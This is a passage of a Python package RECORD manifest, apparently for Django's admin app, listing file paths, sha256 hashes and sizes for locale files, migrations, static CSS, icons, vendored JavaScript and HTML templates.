-django/contrib/admin/locale/uz/LC_MESSAGES/django.po,sha256=bf_EhEV0c-H8MAdvRFb8TrXjgAAFfl8xif2Sw9uip_A,13776 -django/contrib/admin/locale/uz/LC_MESSAGES/djangojs.mo,sha256=LpuFvNKqNRCCiV5VyRnJoZ8gY3Xieb05YV9KakNU7o8,3783 -django/contrib/admin/locale/uz/LC_MESSAGES/djangojs.po,sha256=joswozR3I1ijRapf50FZMzQQhI_aU2XiiSTLeSxkL64,5235 -django/contrib/admin/locale/vi/LC_MESSAGES/django.mo,sha256=coCDRhju7xVvdSaounXO5cMqCmLWICZPJth6JI3Si2c,18077 -django/contrib/admin/locale/vi/LC_MESSAGES/django.po,sha256=Q1etVmaAb1f79f4uVjbNjPkn-_3m2Spz1buNAV3y9lk,19543 -django/contrib/admin/locale/vi/LC_MESSAGES/djangojs.mo,sha256=45E-fCQkq-BRLzRzsGkw1-AvWlvjL1rdsRFqfsvAq98,5302 -django/contrib/admin/locale/vi/LC_MESSAGES/djangojs.po,sha256=k87QvFnt8psnwMXXrFO6TyH6xCyXIDd_rlnWDfl2FAA,5958 -django/contrib/admin/locale/zh_Hans/LC_MESSAGES/django.mo,sha256=Mqf-2H_QUW3Ex30n_KSWdWufO6gFUYSUsBxdW418huM,17143 -django/contrib/admin/locale/zh_Hans/LC_MESSAGES/django.po,sha256=0rSHQ8jJ5OuiX5zgBwhswSqM6Z90NO5WASbZkFjTNy4,19234 -django/contrib/admin/locale/zh_Hans/LC_MESSAGES/djangojs.mo,sha256=-oaPtoS-K1iBfmpOtn-_XFuqJaFLFDDFzZ6EToaC8g0,5715 -django/contrib/admin/locale/zh_Hans/LC_MESSAGES/djangojs.po,sha256=lpJDxzzdngESFzW38Al5DbfQFfTmM59GCGpj8u9f4rA,6853 -django/contrib/admin/locale/zh_Hant/LC_MESSAGES/django.mo,sha256=tjvQbaw3AyQ3AZKWHll5uf5MrmH3OdQVKGxR1SrzkyI,16957 -django/contrib/admin/locale/zh_Hant/LC_MESSAGES/django.po,sha256=8PItlXEiAK41xB1uIYa425q9aoW8eJZOm4cnZkKnUHU,18389 -django/contrib/admin/locale/zh_Hant/LC_MESSAGES/djangojs.mo,sha256=JBaUG83WpXkhGaLQ_j6WLkfH_XZ1A_pKzuybXYd5TJY,5267 -django/contrib/admin/locale/zh_Hant/LC_MESSAGES/djangojs.po,sha256=8wuNRx9HqIde8qCQxWmZgXyJkxs-RF7R1brQAa3eWtU,6085 -django/contrib/admin/migrations/0001_initial.py,sha256=9HFpidmBW2Ix8NcpF1SDXgCMloGER_5XmEu_iYWIMzU,2507 -django/contrib/admin/migrations/0002_logentry_remove_auto_add.py,sha256=LBJ-ZZoiNu3qDtV-zNOHhq6E42V5CoC5a3WMYX9QvkM,553 -django/contrib/admin/migrations/0003_logentry_add_action_flag_choices.py,sha256=AnAKgnGQcg5cQXSVo5UHG2uqKKNOdLyPkIJK-q_AGEE,538 -django/contrib/admin/migrations/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/admin/migrations/__pycache__/0001_initial.cpython-311.pyc,, -django/contrib/admin/migrations/__pycache__/0002_logentry_remove_auto_add.cpython-311.pyc,, -django/contrib/admin/migrations/__pycache__/0003_logentry_add_action_flag_choices.cpython-311.pyc,, -django/contrib/admin/migrations/__pycache__/__init__.cpython-311.pyc,, -django/contrib/admin/models.py,sha256=qDKzKErTNAl1eEMOD3p-0jJqVDirlZ_CIThW8huwmkk,8500 -django/contrib/admin/options.py,sha256=lwqcC4nxgY9c5eZYwgDPtTNXlwRAE2QWy7fUXzomYcs,101478 -django/contrib/admin/sites.py,sha256=A8VpPnpcJoTtefn8pnfpKQWZIO3WcBFK3nAwgb-sUuQ,23454 -django/contrib/admin/static/admin/css/autocomplete.css,sha256=oZCQKaJleVU68lo5A1fRD1iGzqNgSgtollAc2gVWbaw,9185 -django/contrib/admin/static/admin/css/base.css,sha256=c35h3nlJLWrPs1HuPpMLDqOZVFKWb50_clYB_eqAqG4,22120 -django/contrib/admin/static/admin/css/changelists.css,sha256=qaNfxJlI_NarKm0IjyTkmtRoNXvOoVHfMhoOvVjbE4M,6878 -django/contrib/admin/static/admin/css/dark_mode.css,sha256=-LoAlrUIbBe3v3WyeCdg-5herhVp9CimpUvqnudCUG4,2808 -django/contrib/admin/static/admin/css/dashboard.css,sha256=iCz7Kkr5Ld3Hyjx_O1r_XfZ2LcpxOpVjcDZS1wbqHWs,441 -django/contrib/admin/static/admin/css/forms.css,sha256=vMtSyfxC2shzC3IIBi8RoP6XxNuwvFBHuw1vJMyo7xo,8525 -django/contrib/admin/static/admin/css/login.css,sha256=f8lbZQdAWt1rGdvNrIf1kciQPVcBJX4zYHf81JrqXnI,951 -django/contrib/admin/static/admin/css/nav_sidebar.css,sha256=4wmBb5tVT5_fcnP_UtS16jal0QiqgOKq_yz162Hr_C4,2810 -django/contrib/admin/static/admin/css/responsive.css,sha256=1nMh5ggUkJHalqd4CSjtlrxJp7RKziJAdaF4TqkRxsM,16565 -django/contrib/admin/static/admin/css/responsive_rtl.css,sha256=VANPQZQhF9pb9cHwFMndp56ux_1X0T0AP7hbQTH2Svg,1991 -django/contrib/admin/static/admin/css/rtl.css,sha256=vi3BpkPZnEHNovrpRV2nLQQ_X6VlNCcS2vvzYtKAAxo,4772 -django/contrib/admin/static/admin/css/unusable_password_field.css,sha256=c-s6fSgH5n2hrZO6jopy__T9_VHX0YZJnnGTEfWNjRA,663 -django/contrib/admin/static/admin/css/vendor/select2/LICENSE-SELECT2.md,sha256=TuDLxRNwr941hlKg-XeXIFNyntV4tqQvXioDfRFPCzk,1124 -django/contrib/admin/static/admin/css/vendor/select2/select2.css,sha256=kalgQ55Pfy9YBkT-4yYYd5N8Iobe-iWeBuzP7LjVO0o,17358 -django/contrib/admin/static/admin/css/vendor/select2/select2.min.css,sha256=FdatTf20PQr_rWg-cAKfl6j4_IY3oohFAJ7gVC3M34E,14966 -django/contrib/admin/static/admin/css/widgets.css,sha256=FvrUonbdO7kvEwPZHL3nQodlwsOHqBkK4bdCJHPmYsI,11991 -django/contrib/admin/static/admin/img/LICENSE,sha256=0RT6_zSIwWwxmzI13EH5AjnT1j2YU3MwM9j3U19cAAQ,1081 -django/contrib/admin/static/admin/img/README.txt,sha256=Z5Y_AuG3V72qXRo_hS7JTHAid6deKUQKfLHgWP5hQHw,321 -django/contrib/admin/static/admin/img/calendar-icons.svg,sha256=VPzjt0-CwhFaiF2JyX2SjEkPuELU7QlhH4UhuWZmWX0,2455 -django/contrib/admin/static/admin/img/gis/move_vertex_off.svg,sha256=ou-ppUNyy5QZCKFYlcrzGBwEEiTDX5mmJvM8rpwC5DM,1129 -django/contrib/admin/static/admin/img/gis/move_vertex_on.svg,sha256=DgmcezWDms_3VhgqgYUGn-RGFHyScBP0MeX8PwHy_nE,1129 -django/contrib/admin/static/admin/img/icon-addlink.svg,sha256=_5bRQvExVwSP4DsRzIb-yDwutuft2RkHLqcifdlWypE,331 -django/contrib/admin/static/admin/img/icon-alert.svg,sha256=aXtd9PA66tccls-TJfyECQrmdWrj8ROWKC0tJKa7twA,504 -django/contrib/admin/static/admin/img/icon-calendar.svg,sha256=_bcF7a_R94UpOfLf-R0plVobNUeeTto9UMiUIHBcSHY,1086 -django/contrib/admin/static/admin/img/icon-changelink.svg,sha256=pjCclLDG8vvQmfZkFVzFMw1CLer930zafI8XgvDN86c,380 -django/contrib/admin/static/admin/img/icon-clock.svg,sha256=k55Yv6R6-TyS8hlL3Kye0IMNihgORFjoJjHY21vtpEA,677 -django/contrib/admin/static/admin/img/icon-deletelink.svg,sha256=06XOHo5y59UfNBtO8jMBHQqmXt8UmohlSMloUuZ6d0A,392 -django/contrib/admin/static/admin/img/icon-hidelink.svg,sha256=4MGicntOFkPurB9LW_IC-0N88WXKvrQxVyBB9p5gMTA,784 -django/contrib/admin/static/admin/img/icon-no.svg,sha256=QqBaTrrp3KhYJxLYB5E-0cn_s4A_Y8PImYdWjfQSM-c,560 -django/contrib/admin/static/admin/img/icon-unknown-alt.svg,sha256=LyL9oJtR0U49kGHYKMxmmm1vAw3qsfXR7uzZH76sZ_g,655 -django/contrib/admin/static/admin/img/icon-unknown.svg,sha256=ePcXlyi7cob_IcJOpZ66uiymyFgMPHl8p9iEn_eE3fc,655 -django/contrib/admin/static/admin/img/icon-viewlink.svg,sha256=NL7fcy7mQOQ91sRzxoVRLfzWzXBRU59cFANOrGOwWM0,581 -django/contrib/admin/static/admin/img/icon-yes.svg,sha256=_H4JqLywJ-NxoPLqSqk9aGJcxEdZwtSFua1TuI9kIcM,436 -django/contrib/admin/static/admin/img/inline-delete.svg,sha256=GX6XpvjESSee-SBFVIJHuZFjlXKsQVgri2blYsUYw-A,537 -django/contrib/admin/static/admin/img/search.svg,sha256=HgvLPNT7FfgYvmbt1Al1yhXgmzYHzMg8BuDLnU9qpMU,458 -django/contrib/admin/static/admin/img/selector-icons.svg,sha256=0RJyrulJ_UR9aYP7Wbvs5jYayBVhLoXR26zawNMZ0JQ,3291 -django/contrib/admin/static/admin/img/sorting-icons.svg,sha256=cCvcp4i3MAr-mo8LE_h8ZRu3LD7Ma9BtpK-p24O3lVA,1097 -django/contrib/admin/static/admin/img/tooltag-add.svg,sha256=fTZCouGMJC6Qq2xlqw_h9fFodVtLmDMrpmZacGVJYZQ,331 -django/contrib/admin/static/admin/img/tooltag-arrowright.svg,sha256=GIAqy_4Oor9cDMNC2fSaEGh-3gqScvqREaULnix3wHc,280 -django/contrib/admin/static/admin/js/SelectBox.js,sha256=b42sGVqaCDqlr0ibFiZus9FbrUweRcKD_y61HDAdQuc,4530 -django/contrib/admin/static/admin/js/SelectFilter2.js,sha256=FwtHj3a6IokKnpgxOdeZGgyMwmV3uKhxoDn108mjndM,15709 -django/contrib/admin/static/admin/js/actions.js,sha256=KZnmpiDCroO8EcCawROJdHAdUFL87Xu9pqYUL5jHIxM,8076 -django/contrib/admin/static/admin/js/admin/DateTimeShortcuts.js,sha256=ryJhtM9SN0fMdfnhV_m2Hv2pc6a9B0Zpc37ocZ82_-0,19319 -django/contrib/admin/static/admin/js/admin/RelatedObjectLookups.js,sha256=t8tRUeNKUwRUhZvowMs1-etzqYa9dQVyAJdcAjT2Ous,9777 -django/contrib/admin/static/admin/js/autocomplete.js,sha256=OAqSTiHZnTWZzJKEvOm-Z1tdAlLjPWX9jKpYkmH0Ozo,1060 -django/contrib/admin/static/admin/js/calendar.js,sha256=cj6qPrSqdWeq_OnWUUKWy4jVGCiy4YxsbXa5KhUw_r4,9141 -django/contrib/admin/static/admin/js/cancel.js,sha256=UEZdvvWu5s4ZH16lFfxa8UPgWXJ3i8VseK5Lcw2Kreg,884 -django/contrib/admin/static/admin/js/change_form.js,sha256=zOTeORCq1i9XXV_saSBBDOXbou5UtZvxYFpVPqxQ02Q,606 -django/contrib/admin/static/admin/js/core.js,sha256=H4_YZp2B3Y9JxMZPpHKVutrUZJbAZd4H6Gc-ilSb4_E,6208 -django/contrib/admin/static/admin/js/filters.js,sha256=T-JlrqZEBSWbiFw_e5lxkMykkACWqWXd_wMy-b3TnaE,978 -django/contrib/admin/static/admin/js/inlines.js,sha256=1IYzrbc22sCRR37CIG_uvu6I4-bkhq7bIcWE5LSb4Ow,15628 -django/contrib/admin/static/admin/js/jquery.init.js,sha256=uM_Kf7EOBMipcCmuQHbyubQkycleSWDCS8-c3WevFW0,347 -django/contrib/admin/static/admin/js/nav_sidebar.js,sha256=1xzV95R3GaqQ953sVmkLIuZJrzFNoDJMHBqwQePp6-Q,3063 -django/contrib/admin/static/admin/js/popup_response.js,sha256=IKRg0dCpW_gkwT-l6yy3hIFxEwbaA5tw0XEckpPaHvE,532 -django/contrib/admin/static/admin/js/prepopulate.js,sha256=UYkWrHNK1-OWp1a5IWZdg0udfo_dcR-jKSn5AlxxqgU,1531 -django/contrib/admin/static/admin/js/prepopulate_init.js,sha256=mJIPAgn8QHji_rSqO6WKNREbpkCILFrjRCCOQ1-9SoQ,586 -django/contrib/admin/static/admin/js/theme.js,sha256=gG6whuLXbtdF-t_pvUO1O7LfVlNZDuzMZONENrOuZp4,1653 -django/contrib/admin/static/admin/js/unusable_password_field.js,sha256=tcGj7GAhLMohHLtxGOAsaZH1t0Fu3fTQk2l3vFV9AY4,1480 -django/contrib/admin/static/admin/js/urlify.js,sha256=8oC4Bcxt8oJY4uy9O4NjPws5lXzDkdfwI2Xo3MxpBTo,7887 -django/contrib/admin/static/admin/js/vendor/jquery/LICENSE.txt,sha256=1Nuevm8p9RaOrEWtcT8FViOsXQ3NW6ktoj1lCuASAg0,1097 -django/contrib/admin/static/admin/js/vendor/jquery/jquery.js,sha256=eKhayi8LEQwp4NKxN-CfCh-3qOVUtJn3QNZ0TciWLP4,285314 -django/contrib/admin/static/admin/js/vendor/jquery/jquery.min.js,sha256=_JqT3SQfawRcv_BIHPThkBvs0OEvtFFmqPF_lYI_Cxo,87533 -django/contrib/admin/static/admin/js/vendor/select2/LICENSE.md,sha256=TuDLxRNwr941hlKg-XeXIFNyntV4tqQvXioDfRFPCzk,1124 -django/contrib/admin/static/admin/js/vendor/select2/i18n/af.js,sha256=IpI3uo19fo77jMtN5R3peoP0OriN-nQfPY2J4fufd8g,866 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ar.js,sha256=zxQ3peSnbVIfrH1Ndjx4DrHDsmbpqu6mfeylVWFM5mY,905 -django/contrib/admin/static/admin/js/vendor/select2/i18n/az.js,sha256=N_KU7ftojf2HgvJRlpP8KqG6hKIbqigYN3K0YH_ctuQ,721 -django/contrib/admin/static/admin/js/vendor/select2/i18n/bg.js,sha256=5Z6IlHmuk_6IdZdAVvdigXnlj7IOaKXtcjuI0n0FmYQ,968 -django/contrib/admin/static/admin/js/vendor/select2/i18n/bn.js,sha256=wdQbgaxZ47TyGlwvso7GOjpmTXUKaWzvVUr_oCRemEE,1291 -django/contrib/admin/static/admin/js/vendor/select2/i18n/bs.js,sha256=g56kWSu9Rxyh_rarLSDa_8nrdqL51JqZai4QQx20jwQ,965 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ca.js,sha256=DSyyAXJUI0wTp_TbFhLNGrgvgRsGWeV3IafxYUGBggM,900 -django/contrib/admin/static/admin/js/vendor/select2/i18n/cs.js,sha256=t_8OWVi6Yy29Kabqs_l1sM2SSrjUAgZTwbTX_m0MCL8,1292 -django/contrib/admin/static/admin/js/vendor/select2/i18n/da.js,sha256=tF2mvzFYSWYOU3Yktl3G93pCkf-V9gonCxk7hcA5J1o,828 -django/contrib/admin/static/admin/js/vendor/select2/i18n/de.js,sha256=5bspfcihMp8yXDwfcqvC_nV3QTbtBuQDmR3c7UPQtFw,866 -django/contrib/admin/static/admin/js/vendor/select2/i18n/dsb.js,sha256=KtP2xNoP75oWnobUrS7Ep_BOFPzcMNDt0wyPnkbIF_Q,1017 -django/contrib/admin/static/admin/js/vendor/select2/i18n/el.js,sha256=IdvD8eY_KpX9fdHvld3OMvQfYsnaoJjDeVkgbIemfn8,1182 -django/contrib/admin/static/admin/js/vendor/select2/i18n/en.js,sha256=C66AO-KOXNuXEWwhwfjYBFa3gGcIzsPFHQAZ9qSh3Go,844 -django/contrib/admin/static/admin/js/vendor/select2/i18n/es.js,sha256=IhZaIy8ufTduO2-vBrivswMCjlPk7vrk4P81pD6B0SM,922 -django/contrib/admin/static/admin/js/vendor/select2/i18n/et.js,sha256=LgLgdOkKjc63svxP1Ua7A0ze1L6Wrv0X6np-8iRD5zw,801 -django/contrib/admin/static/admin/js/vendor/select2/i18n/eu.js,sha256=rLmtP7bA_atkNIj81l_riTM7fi5CXxVrFBHFyddO-Hw,868 -django/contrib/admin/static/admin/js/vendor/select2/i18n/fa.js,sha256=fqZkE9e8tt2rZ7OrDGPiOsTNdj3S2r0CjbddVUBDeMA,1023 -django/contrib/admin/static/admin/js/vendor/select2/i18n/fi.js,sha256=KVGirhGGNee_iIpMGLX5EzH_UkNe-FOPC_0484G-QQ0,803 -django/contrib/admin/static/admin/js/vendor/select2/i18n/fr.js,sha256=aj0q2rdJN47BRBc9LqvsgxkuPOcWAbZsUFUlbguwdY0,924 -django/contrib/admin/static/admin/js/vendor/select2/i18n/gl.js,sha256=HSJafI85yKp4WzjFPT5_3eZ_-XQDYPzzf4BWmu6uXHk,924 -django/contrib/admin/static/admin/js/vendor/select2/i18n/he.js,sha256=DIPRKHw0NkDuUtLNGdTnYZcoCiN3ustHY-UMmw34V_s,984 -django/contrib/admin/static/admin/js/vendor/select2/i18n/hi.js,sha256=m6ZqiKZ_jzwzVFgC8vkYiwy4lH5fJEMV-LTPVO2Wu40,1175 -django/contrib/admin/static/admin/js/vendor/select2/i18n/hr.js,sha256=NclTlDTiNFX1y0W1Llj10-ZIoXUYd7vDXqyeUJ7v3B4,852 -django/contrib/admin/static/admin/js/vendor/select2/i18n/hsb.js,sha256=FTLszcrGaelTW66WV50u_rS6HV0SZxQ6Vhpi2tngC6M,1018 -django/contrib/admin/static/admin/js/vendor/select2/i18n/hu.js,sha256=3PdUk0SpHY-H-h62womw4AyyRMujlGc6_oxW-L1WyOs,831 -django/contrib/admin/static/admin/js/vendor/select2/i18n/hy.js,sha256=BLh0fntrwtwNwlQoiwLkdQOVyNXHdmRpL28p-W5FsDg,1028 -django/contrib/admin/static/admin/js/vendor/select2/i18n/id.js,sha256=fGJ--Aw70Ppzk3EgLjF1V_QvqD2q_ufXjnQIIyZqYgc,768 -django/contrib/admin/static/admin/js/vendor/select2/i18n/is.js,sha256=gn0ddIqTnJX4wk-tWC5gFORJs1dkgIH9MOwLljBuQK0,807 -django/contrib/admin/static/admin/js/vendor/select2/i18n/it.js,sha256=kGxtapwhRFj3u_IhY_7zWZhKgR5CrZmmasT5w-aoXRM,897 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ja.js,sha256=tZ4sqdx_SEcJbiW5-coHDV8FVmElJRA3Z822EFHkjLM,862 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ka.js,sha256=DH6VrnVdR8SX6kso2tzqnJqs32uCpBNyvP9Kxs3ssjI,1195 -django/contrib/admin/static/admin/js/vendor/select2/i18n/km.js,sha256=x9hyjennc1i0oeYrFUHQnYHakXpv7WD7MSF-c9AaTjg,1088 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ko.js,sha256=ImmB9v7g2ZKEmPFUQeXrL723VEjbiEW3YelxeqHEgHc,855 -django/contrib/admin/static/admin/js/vendor/select2/i18n/lt.js,sha256=ZT-45ibVwdWnTyo-TqsqW2NjIp9zw4xs5So78KMb_s8,944 -django/contrib/admin/static/admin/js/vendor/select2/i18n/lv.js,sha256=hHpEK4eYSoJj_fvA2wl8QSuJluNxh-Tvp6UZm-ZYaeE,900 -django/contrib/admin/static/admin/js/vendor/select2/i18n/mk.js,sha256=PSpxrnBpL4SSs9Tb0qdWD7umUIyIoR2V1fpqRQvCXcA,1038 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ms.js,sha256=NCz4RntkJZf8YDDC1TFBvK-nkn-D-cGNy7wohqqaQD4,811 -django/contrib/admin/static/admin/js/vendor/select2/i18n/nb.js,sha256=eduKCG76J3iIPrUekCDCq741rnG4xD7TU3E7Lib7sPE,778 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ne.js,sha256=QQjDPQE6GDKXS5cxq2JRjk3MGDvjg3Izex71Zhonbj8,1357 -django/contrib/admin/static/admin/js/vendor/select2/i18n/nl.js,sha256=JctLfTpLQ5UFXtyAmgbCvSPUtW0fy1mE7oNYcMI90bI,904 -django/contrib/admin/static/admin/js/vendor/select2/i18n/pl.js,sha256=6gEuKYnJdf8cbPERsw-mtdcgdByUJuLf1QUH0aSajMo,947 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ps.js,sha256=4J4sZtSavxr1vZdxmnub2J0H0qr1S8WnNsTehfdfq4M,1049 -django/contrib/admin/static/admin/js/vendor/select2/i18n/pt-BR.js,sha256=0DFe1Hu9fEDSXgpjPOQrA6Eq0rGb15NRbsGh1U4vEr0,876 -django/contrib/admin/static/admin/js/vendor/select2/i18n/pt.js,sha256=L5jqz8zc5BF8ukrhpI2vvGrNR34X7482dckX-IUuUpA,878 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ro.js,sha256=Aadb6LV0u2L2mCOgyX2cYZ6xI5sDT9OI3V7HwuueivM,938 -django/contrib/admin/static/admin/js/vendor/select2/i18n/ru.js,sha256=bV6emVCE9lY0LzbVN87WKAAAFLUT3kKqEzn641pJ29o,1171 -django/contrib/admin/static/admin/js/vendor/select2/i18n/sk.js,sha256=MnbUcP6pInuBzTW_L_wmXY8gPLGCOcKyzQHthFkImZo,1306 -django/contrib/admin/static/admin/js/vendor/select2/i18n/sl.js,sha256=LPIKwp9gp_WcUc4UaVt_cySlNL5_lmfZlt0bgtwnkFk,925 -django/contrib/admin/static/admin/js/vendor/select2/i18n/sq.js,sha256=oIxJLYLtK0vG2g3s5jsGLn4lHuDgSodxYAWL0ByHRHo,903 -django/contrib/admin/static/admin/js/vendor/select2/i18n/sr-Cyrl.js,sha256=BoT2KdiceZGgxhESRz3W2J_7CFYqWyZyov2YktUo_2w,1109 -django/contrib/admin/static/admin/js/vendor/select2/i18n/sr.js,sha256=7EELYXwb0tISsuvL6eorxzTviMK-oedSvZvEZCMloGU,980 -django/contrib/admin/static/admin/js/vendor/select2/i18n/sv.js,sha256=c6nqUmitKs4_6AlYDviCe6HqLyOHqot2IrvJRGjj1JE,786 -django/contrib/admin/static/admin/js/vendor/select2/i18n/th.js,sha256=saDPLk-2dq5ftKCvW1wddkJOg-mXA-GUoPPVOlSZrIY,1074 -django/contrib/admin/static/admin/js/vendor/select2/i18n/tk.js,sha256=mUEGlb-9nQHvzcTYI-1kjsB7JsPRGpLxWbjrJ8URthU,771 -django/contrib/admin/static/admin/js/vendor/select2/i18n/tr.js,sha256=dDz8iSp07vbx9gciIqz56wmc2TLHj5v8o6es75vzmZU,775 -django/contrib/admin/static/admin/js/vendor/select2/i18n/uk.js,sha256=MixhFDvdRda-wj-TjrN018s7R7E34aQhRjz4baxrdKw,1156 -django/contrib/admin/static/admin/js/vendor/select2/i18n/vi.js,sha256=mwTeySsUAgqu_IA6hvFzMyhcSIM1zGhNYKq8G7X_tpM,796 -django/contrib/admin/static/admin/js/vendor/select2/i18n/zh-CN.js,sha256=olAdvPQ5qsN9IZuxAKgDVQM-blexUnWTDTXUtiorygI,768 -django/contrib/admin/static/admin/js/vendor/select2/i18n/zh-TW.js,sha256=DnDBG9ywBOfxVb2VXg71xBR_tECPAxw7QLhZOXiJ4fo,707 -django/contrib/admin/static/admin/js/vendor/select2/select2.full.js,sha256=ugZkER5OAEGzCwwb_4MvhBKE5Gvmc0S59MKn-dooZaI,173566 -django/contrib/admin/static/admin/js/vendor/select2/select2.full.min.js,sha256=XG_auAy4aieWldzMImofrFDiySK-pwJC7aoo9St7rS0,79212 -django/contrib/admin/static/admin/js/vendor/xregexp/LICENSE.txt,sha256=c68pSb_5KWyw-BbDvhmk2k6VrclMH5JHlui60_A_Lyk,1106 -django/contrib/admin/static/admin/js/vendor/xregexp/xregexp.js,sha256=FM2fFr4a9mVscQobpyNQG1Bu4_8exjunQglEoPSP5uo,325171 -django/contrib/admin/static/admin/js/vendor/xregexp/xregexp.min.js,sha256=-FQXGywOGwW-5DdFMWIq0QWpGX3rQFuQpIDe6N_9eVI,163184 -django/contrib/admin/templates/admin/404.html,sha256=zyawWu1I9IxDGBRsks6-DgtLUGDDYOKHfj9YQqPl0AA,282 -django/contrib/admin/templates/admin/500.html,sha256=rZNmFXr9POnc9TdZwD06qkY8h2W5K05vCyssrIzbZGE,551 -django/contrib/admin/templates/admin/actions.html,sha256=BVal6_q7BuTy_V4635prb3Wm3XMhrTvhcKAL5u7K9Gc,1263 -django/contrib/admin/templates/admin/app_index.html,sha256=7NPb0bdLKOdja7FoIERyRZRYK-ldX3PcxMoydguWfzc,493 -django/contrib/admin/templates/admin/app_list.html,sha256=H-kbGQ80Yw0TMqK25Ag4wRVhZXx6-yaec5DHOyUy8dQ,2340 -django/contrib/admin/templates/admin/auth/user/add_form.html,sha256=4bCBr_jz-Tz811qOh9rsKHSQQ0_skbRJ48spVqSMU8k,547 -django/contrib/admin/templates/admin/auth/user/change_password.html,sha256=yvlBTc1rCMJWDIQmGdXku22foM2Il4f8CepoCUQgKJ8,3893 -django/contrib/admin/templates/admin/base.html,sha256=ScYhl-zj2KNtU4b1PAmu0v3wGJlPItu_FVCacnLQ0Bs,6139 -django/contrib/admin/templates/admin/base_site.html,sha256=GCiXgXwC_ZZ1goTKnrbdNfWONojGxTatiD5hCsA8HTg,450 -django/contrib/admin/templates/admin/change_form.html,sha256=6F2s0J3XcxpW35XarZBW1ZMogqO0mvPPfbyaPfOzSI4,3197 -django/contrib/admin/templates/admin/change_form_object_tools.html,sha256=C0l0BJF2HuSjIvtY-Yr-ByZ9dePFRrTc-MR-OVJD-AI,403 -django/contrib/admin/templates/admin/change_list.html,sha256=ILjQ5FRnzNPOfKQccDD8T5583A5R-5NIZuf3QEB5WFI,3934 -django/contrib/admin/templates/admin/change_list_object_tools.html,sha256=-AX0bYTxDsdLtEpAEK3RFpY89tdvVChMAWPYBLqPn48,378 -django/contrib/admin/templates/admin/change_list_results.html,sha256=yOpb1o-L5Ys9GiRA_nCXoFhIzREDVXLBuYzZk1xrx1w,1502 -django/contrib/admin/templates/admin/color_theme_toggle.html,sha256=a2uh7_c2umbLLGRD_cVdVmfp291TwQYkD_87sYCotIU,703 -django/contrib/admin/templates/admin/date_hierarchy.html,sha256=Hug06L1uQzPQ-NAeixTtKRtDu2lAWh96o6f8ElnyU0c,453 -django/contrib/admin/templates/admin/delete_confirmation.html,sha256=3eMxQPSITd7Mae22TALXtCvJR4YMwfzNG_iAtuyF0PI,2539 -django/contrib/admin/templates/admin/delete_selected_confirmation.html,sha256=5yyaNqfiK1evhJ7px7gmMqjFwYrrMaKNDvQJ3-Lu4mo,2241 -django/contrib/admin/templates/admin/edit_inline/stacked.html,sha256=q4DUCiTfrlVypMV6TrvkN4zl1QDe57l-VTvYcO6yl1Q,3108 -django/contrib/admin/templates/admin/edit_inline/tabular.html,sha256=7xsNm1C-HiThj0TJZXGvcHAgLeOBbuuXRjGMiqXW8fc,4401 -django/contrib/admin/templates/admin/filter.html,sha256=cvjazGEln3BL_0iyz8Kcsend5WhT9y-gXKRN2kHqejU,395 -django/contrib/admin/templates/admin/includes/fieldset.html,sha256=LX_8XwduBMo3DmQNuGaK0toLMoVnsMdMiaZOfG-zU6k,2720 -django/contrib/admin/templates/admin/includes/object_delete_summary.html,sha256=OC7VhKQiczmi01Gt_3jyemelerSNrGyDiWghUK6xKEI,192 -django/contrib/admin/templates/admin/index.html,sha256=TQxZdAy2ZyeXBLA_KZMXus7e2TGezFAUTsYHJBMLPl8,2070 -django/contrib/admin/templates/admin/invalid_setup.html,sha256=F5FS3o7S3l4idPrX29OKlM_azYmCRKzFdYjV_jpTqhE,447 -django/contrib/admin/templates/admin/login.html,sha256=FZA-d3HEISXkGSyJlxncbVu3Jff7-zwwJ8KkwlN2AHM,2001 -django/contrib/admin/templates/admin/nav_sidebar.html,sha256=OfI8XJn3_Q_Wf2ymc1IH61eTGZNMFwkkGwXXTDqeuP8,486 -django/contrib/admin/templates/admin/object_history.html,sha256=5e6ki7C94YKBoFyCvDOfqt4YzCyhNmNMy8NM4aKqiHc,2136 -django/contrib/admin/templates/admin/pagination.html,sha256=OBvC2HWFaH3wIuk6gzKSyCli51NTaW8vnJFyBOpNo_8,549 -django/contrib/admin/templates/admin/popup_response.html,sha256=Lj8dfQrg1XWdA-52uNtWJ9hwBI98Wt2spSMkO4YBjEk,327 -django/contrib/admin/templates/admin/prepopulated_fields_js.html,sha256=PShGpqQWBBVwQ86r7b-SimwJS0mxNiz8AObaiDOSfvY,209 -django/contrib/admin/templates/admin/search_form.html,sha256=GImO4ldr2iVMDKPa2prQzrJyrZEQS1Zy6guNfF6VbQ8,1357 -django/contrib/admin/templates/admin/submit_line.html,sha256=yI7XWZCjvY5JtDAvbzx8hpXZi4vRYWx0mty7Zt5uWjY,1093 -django/contrib/admin/templates/admin/widgets/clearable_file_input.html,sha256=3g3JbkQmjgjl_Lyz6DzkvNBxlJT0GJAuQGV4MAGSyJ0,666 -django/contrib/admin/templates/admin/widgets/date.html,sha256=uJME8ir5DrcrWze9ikzlspoaCudQqxyMMGr6azIMkMc,71 -django/contrib/admin/templates/admin/widgets/foreign_key_raw_id.html,sha256=X1Qsxepoht7TCZTJLHZ6jgbZLTEWjeaqBCqlAvmgiUg,412 -django/contrib/admin/templates/admin/widgets/many_to_many_raw_id.html,sha256=w18JMKnPKrw6QyqIXBcdPs3YJlTRtHK5HGxj0lVkMlY,54 -django/contrib/admin/templates/admin/widgets/radio.html,sha256=-ob26uqmvrEUMZPQq6kAqK4KBk2YZHTCWWCM6BnaL0w,57 -django/contrib/admin/templates/admin/widgets/related_widget_wrapper.html,sha256=a3CWvuTtb6hRcf5-gsqRuhEJF18pOmwuRjJerDetLyY,2102 -django/contrib/admin/templates/admin/widgets/split_datetime.html,sha256=BQ9XNv3eqtvNqZZGW38VBM2Nan-5PBxokbo2Fm_wwCQ,238 -django/contrib/admin/templates/admin/widgets/time.html,sha256=oiXCD1IvDhALK3w0fCrVc7wBOFMJhvPNTG2_NNz9H7A,71 -django/contrib/admin/templates/admin/widgets/url.html,sha256=Tf7PwdoKAiimfmDTVbWzRVxxUeyfhF0OlsuiOZ1tHgI,218 